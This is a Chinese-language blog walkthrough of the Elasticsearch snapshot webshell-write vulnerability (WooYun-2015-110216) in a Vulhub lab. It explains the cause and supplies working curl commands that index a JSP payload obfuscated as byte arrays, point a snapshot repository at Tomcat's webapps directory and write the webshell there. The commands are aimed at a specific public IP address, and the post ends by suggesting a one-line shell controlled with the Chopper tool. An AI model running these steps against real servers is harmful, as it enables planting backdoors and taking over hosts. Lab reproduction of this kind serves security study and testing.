Elasticsearch写入webshell漏洞(WooYun-2015-110216)

漏洞描述

产生原因

环境搭建

漏洞复现


漏洞描述

ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。

所以,如果同文件系统下还跑着其他服务,如Tomcat、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。

默认端口:9200 9300

产生原因

和CVE-2015-5531类似,该漏洞和备份仓库有关。在elasticsearch1.5.1以后,其将备份仓库的根路径限制在配置文件的配置项path.repo中,而且如果管理员不配置该选项,则默认不能使用该功能。即使管理员配置了该选项,web路径如果不在该目录下,也无法写入webshell。所以该漏洞影响的ElasticSearch版本是1.5.x以前。

环境搭建

docker-compose up -d

在这里插入图片描述

简单介绍一下本测试环境。本测试环境同时运行了Tomcat和ElasticSearch,Tomcat目录在/usr/local/tomcat,web目录是/usr/local/tomcat/webapps;ElasticSearch目录在/usr/share/elasticsearch

我们的目标就是利用ElasticSearch,在/usr/local/tomcat/webapps目录下写入我们的webshell。

漏洞复现

9200一般为ElasticSearch的常用端口,此漏洞环境需要与中间件使用

  1. 发现9200端口存在elasticsearch页面,8080存在tomcat目录

  2. 利用ElasticSearch写入后门到/usr/local/tomcat/webapps/wwwroot/

  • 首先创建一个恶意索引文档:

    curl -XPOST http://49.232.65.159:9200/yz.jsp/yz.jsp/1 -d'
    {"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
    '
    
  • 再创建一个恶意的存储库,其中location的值即为我要写入的路径。这里要注意的是location为tomcat的www目录实战中该目录不一定为默认路径(可能会被更改)所以要明确改路径

    curl -XPUT 'http://49.232.65.159:9200/_snapshot/yz.jsp' -d '{
         "type": "fs",
         "settings": {
              "location": "/usr/local/tomcat/webapps/wwwroot/",
              "compress": false
         }
    }'
    
  • 存储库验证并创建:

    curl -XPUT "http://49.232.65.159:9200/_snapshot/yz.jsp/yz.jsp" -d '{
         "indices": "yz.jsp",
         "ignore_unavailable": "true",
         "include_global_state": false
    }'
    

在这里插入图片描述

  1. 访问http://127.0.0.1:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp,这就是我们写入的webshell。

    该shell的作用是向wwwroot下的test.jsp文件中写入任意字符串,如:http://127.0.0.1:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=success,我们再访问/wwwroot/test.jsp就能看到success了:

在这里插入图片描述

在这里插入图片描述

如果想继续利用的话就把一句话shell写入连接菜刀就可以了

参考链接

Vulhub - Docker-Compose file for vulnerability environment


版权声明:本文为weixin_45366453原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。